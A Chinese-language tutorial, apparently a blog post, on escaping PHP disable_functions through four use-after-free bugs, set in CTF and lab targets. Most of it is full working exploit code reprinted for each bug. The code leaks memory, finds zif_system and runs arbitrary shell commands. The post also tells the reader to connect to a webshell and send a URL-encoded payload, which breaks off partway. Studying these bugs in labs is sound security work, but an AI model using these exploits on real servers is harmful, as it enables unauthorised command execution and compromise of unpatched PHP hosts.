突破disable_functions限制執行命令·下
利用UAF漏洞UAF漏洞(Use-After-Free)是一種內存破壞漏洞,漏洞成因是一塊堆內存被釋放了之后又被使用。又被使用指的是:指針存在(懸垂指針被引用)。這個引用的結果是不可預測的,因為不知道會發生什么。由于大多數的堆內存其實都是C++對象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己構造的虛表。
懸垂指針:懸垂指針是指一類不指向任何合法的或者有效的(即與指針的含義不符)的對象的指針。比如一個對象的指針,如果這個對象已經被釋放或者回收但是指針沒有進行任何的修改仍然執行已被釋放的內存,這個指針就叫做懸垂指針。
由于本人對PWN這塊并不了解,對這些漏洞只是一知半解,所以也僅僅講如何使用大佬的EXP直接利用了
Json Serializer UAF
漏洞簡介:
此漏洞利用json序列化程序中的釋放后使用漏洞,利用json序列化程序中的堆溢出觸發,以繞過disable_functions和執行系統命令。盡管不能保證成功,但它應該相當可靠的在所有服務器 api上使用。
漏洞細節:https://bugs.php.net/bug.php?id=72530
漏洞利用條件:
?Linux 操作系統
?PHP 版本
?7.1 - all versions to date
?7.2 < 7.2.19 (released: 30 May 2019)
?7.3 < 7.3.6 (released: 30 May 2019)
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/6
靶場突破:
除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:
https://github.com/mm0r1/exploits/tree/master/php-json-bypass
<?php
$cmd = "tac /flag"; // 可替換成需要執行的命令
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
public static $leak;
}
class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
# unable to leak ro segments
public function leak1($addr) {
global $spl1;
$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}
# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;
# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);
$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000
if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}
# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}
# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;
$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}
# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}
# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}
# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
$spl1->offsetGet($cmd);
exit();
}
}
$y = [new Z()];
json_encode([&$y]);
直接訪問即可執行命令。
PHP7 GC with Certain Destructors UAF
漏洞簡介:
此漏洞利用PHP垃圾收集器(garbage collector)中存在三年的一個 bug,通過PHP垃圾收集器中堆溢出來繞過disable_functions并執行系統命令。
漏洞細節:https://bugs.php.net/bug.php?id=72530
漏洞利用條件:
?Linux 操作系統
?PHP 版本
?7.0 - all versions to date
?7.1 - all versions to date
?7.2 - all versions to date
?7.3 - all versions to date
靶場環境:
項目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7
靶場突破:
除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:
https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("tac /flag"); // 可替換成需要執行的命令
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
直接訪問即可執行命令。
PHP7 Backtrace UAF
漏洞簡介:
該漏洞利用在debug_backtrace()函數中使用了兩年的一個 bug。我們可以誘使它返回對已被破壞的變量的引用,從而導致釋放后使用漏洞。
漏洞細節:https://bugs.php.net/bug.php?id=76047
漏洞利用條件:
?Linux 操作系統
?PHP 版本
?7.0 - all versions to date
?7.1 - all versions to date
?7.2 - all versions to date
?7.3 < 7.3.15 (released 20 Feb 2020)
?7.4 < 7.4.3 (released 20 Feb 2020)
靶場環境:
CTFHub:https://www.ctfhub.com/#/skilltree
靶場位置:CTFHub-技能樹-Web-Web進階-PHP-Bypass disable_functions-Backtrace UAF
靶場突破:
除了蟻劍的擴展插件,還可以使用國外大佬mm0r1寫的EXP:
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("tac /flag"); // 可替換成需要執行的命令
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
直接訪問即可執行命令。
PHP7 ReflectionProperty UAF
漏洞簡介:
PHP在創建ReflectionProperty 類之后,使用$rp->getType()->getName() 這個調用指向的是一個已經被 free 的內存地址,便可以觸發UAF。
漏洞細節:https://bugs.php.net/bug.php?id=79820
漏洞利用條件:
?Linux 操作系統
?PHP 版本:7.4 <= 7.4.8
靶場環境:
羊城杯CTF-Break_The_Wall:
https://github.com/gwht/2020YCBCTF/blob/main/wp/web/break_the_wall/break_the_wall.tar.gz
靶場突破:
訪問靶場地址:

image-20220110002930565
十分明顯的一個一句話木馬,不過要想蟻劍去連接還需要構造一下payload:

image-20220110003146545
但連接后才發現沒有任何權限

image-20220110003329883
這就只能對WebShell上進行代碼執行,觸發UAF了
直接放出官方的EXP,具體的解題思路請查看官方的WP:
<?php
global $abc, $helper;
class Test {
public HelperHelperHelperHelperHelperHelperHelper $prop;
}
class HelperHelperHelperHelperHelperHelperHelper {
public $a, $b;
},
function s2n($str) {
$address = 0;
for ($i=0;$i<4;$i++){
$address <<= 8;
$address |= ord($str[4 + $i]);
}
return $address;
}
function s2b($str, $offset){
return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));
}
function leak($offset) {
global $abc;
$data = "";
for ($i = 0;$i < 8;$i++){
$data .= $abc[$offset + 7 - $i];
}
return $data;
}
function leak2($address) {
global $helper;
write(0x20, $address);
$leak = strlen($helper->b);
$leak = dechex($leak);
$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$leak = hex2bin($leak);
return $leak;
}
function write($offset, $data) {
global $abc;
$data = str_pad($data, 8, "\x00", STR_PAD_LEFT);
for ($i = 0;$i < 8;$i++){
$abc[$offset + $i] = $data[7 - $i];
}
}
function get_basic_funcs($std_object_handlers) {
$prefix = substr($std_object_handlers, 0, 4);
$std_object_handlers = hexdec(bin2hex($std_object_handlers));
$start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed
$NumPrefix = $std_object_handlers & 0x0000ffffff000000;
$NumPrefix = $NumPrefix - 0x0000000001000000;
$funcs = get_defined_functions()['internal'];
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
$name = explode("\x00", $name)[0];
if(in_array($name, $funcs)) {
return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
$std_object_handlers, $NumPrefix];
}
}
}
function getSystem($unknown_func) {
$unknown_addr = hex2bin($unknown_func[1]);
$prefix = substr($unknown_addr, 0, 4);
$unknown_addr = hexdec($unknown_func[1]);
$start = $unknown_addr & 0x00000000ffffffff;
for($i = 0;$i < 0x800;$i++) {
$addr = $start - 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
for($i = 0;$i < 0x800;$i++) {
$addr = $start + 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();
$helper = new HelperHelperHelperHelperHelperHelperHelper();
if (strlen($abc) < 1000) {
exit("UAF Failed!");
}
$helper -> a = $helper;
$php_heap = leak(0x10);
$helper -> a = function($x){};
$std_object_handlers = leak(0x0);
$prefix = substr($php_heap, 0, 4);
echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = leak(0x10);
echo "Closure Object: " . bin2hex($closure_object) . "\n";
write(0x28, "\x06");
if(!($unknown_func = get_basic_funcs($std_object_handlers))) {
die("Couldn't determine funcs address");
}
echo "Find func's adress: " . $unknown_func[1] . " -> " . $unknown_func[0] . "\n";
if(!($system_address = getSystem($unknown_func))) {
die("Couldn't determine system address");
}
//echo "Find system's handler: " . $system_address . "\n";
for ($i = 0;$i < (0x130 / 0x08);$i++) {
write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 *
$i)));
}
$abc[0x308 + 0x40] = "\x01";
write(0x308 + 0x70, hex2bin($system_address));
write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));
echo "Fake Closure Object Address: " . bin2hex($prefix .
hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0",
STR_PAD_LEFT))) . "\n";
($helper -> a)("/readflag"); // 需要執行的命令
我們需要對其中用于測試的echo代碼注釋或刪除掉,再將代碼部分進行URL編碼(一定要編碼成一行):
global%20%24abc%2C%20%24helper%3B%0Aclass%20Test%20%7B%0Apublic%20HelperHelperHelperHelperHelperHelperHelper%20%24prop%3B%0A%7D%0Aclass%20HelperHelperHelperHelperHelperHelperHelper%20%7B%0Apublic%20%24a%2C%20%24b%3B%0A%7D%0Afunction%20s2n(%24str)%20%7B%0A%24address%20%3D%200%3B%0Afor%20(%24i%3D0%3B%24i%3C4%3B%24i%2B%2B)%7B%0A%24address%20%3C%3C%3D%208%3B%0A%24address%20%7C%3D%20ord(%24str%5B4%20%2B%20%24i%5D)%3B%0A%7D%0Areturn%20%24address%3B%0A%7D%0Afunction%20s2b(%24str%2C%20%24offset)%7B%0Areturn%20hex2bin(str_pad(dechex(s2n(%24str)%20%2B%20%24offset%20-%200x10)%2C%208%2C%20%220%22%2C%0ASTR_PAD_LEFT))%3B%0A%7D%0Afunction%20leak(%24offset)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20%22%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24data%20.%3D%20%24abc%5B%24offset%20%2B%207%20-%20%24i%5D%3B%0A%7D%0Areturn%20%24data%3B%0A%7D%0Afunction%20leak2(%24address)%20%7B%0Aglobal%20%24helper%3B%0Awrite(0x20%2C%20%24address)%3B%0A%24leak%20%3D%20strlen(%24helper-%3Eb)%3B%0A%24leak%20%3D%20dechex(%24leak)%3B%0A%24leak%20%3D%20str_pad(%24leak%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24leak%20%3D%20hex2bin(%24leak)%3B%0Areturn%20%24leak%3B%0A%7D%0Afunction%20write(%24offset%2C%20%24data)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20str_pad(%24data%2C%208%2C%20%22%5Cx00%22%2C%20STR_PAD_LEFT)%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24abc%5B%24offset%20%2B%20%24i%5D%20%3D%20%24data%5B7%20-%20%24i%5D%3B%0A%7D%0A%7D%0Afunction%20get_basic_funcs(%24std_object_handlers)%20%7B%0A%24prefix%20%3D%20substr(%24std_object_handlers%2C%200%2C%204)%3B%0A%24std_object_handlers%20%3D%20hexdec(bin2hex(%24std_object_handlers))%3B%0A%24start%20%3D%20%24std_object_handlers%20%26%200x00000000fffff000%20%7C%200x0000000000000920%3B%20%23%20change%200x920%20if%20finding%20failed%0A%24NumPrefix%20%3D%20%24std_object_handlers%20%26%200x0000ffffff000000%3B%0A%24NumPrefix%20%3D%20%24NumPrefix%20-%200x0000000001000000%3B%0A%24funcs%20%3D%20get_defined_functions()%5B'internal'%5D%3B%0Afor(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24std_object_handlers%20%7C%7C%20hexdec(%24name_addr)%20%3C%20%24NumPrefix)%0A%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0A%24name%20%3D%20explode(%22%5Cx00%22%2C%20%24name)%5B0%5D%3B%0Aif(in_array(%24name%2C%20%24funcs))%20%7B%0Areturn%20%5B%24name%2C%20bin2hex(%24prefix)%20.%20str_pad(dechex(%24addr)%2C%208%2C%20%220%22%2C%20STR_PAD_LEFT)%2C%0A%24std_object_handlers%2C%20%24NumPrefix%5D%3B%0A%7D%0A%7D%0A%7D%0Afunction%20getSystem(%24unknown_func)%20%7B%0A%24unknown_addr%20%3D%20hex2bin(%24unknown_func%5B1%5D)%3B%0A%24prefix%20%3D%20substr(%24unknown_addr%2C%200%2C%204)%3B%0A%24unknown_addr%20%3D%20hexdec(%24unknown_func%5B1%5D)%3B%0A%24start%20%3D%20%24unknown_addr%20%26%200x00000000ffffffff%3B%0Afor(%24i%20%3D%200%3B%24i%20%3C%200x800%3B%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x20%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24unknown_func%5B2%5D%20%7C%7C%20hexdec(%24name_addr)%20%3C%0A%24unknown_func%5B3%5D)%20%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr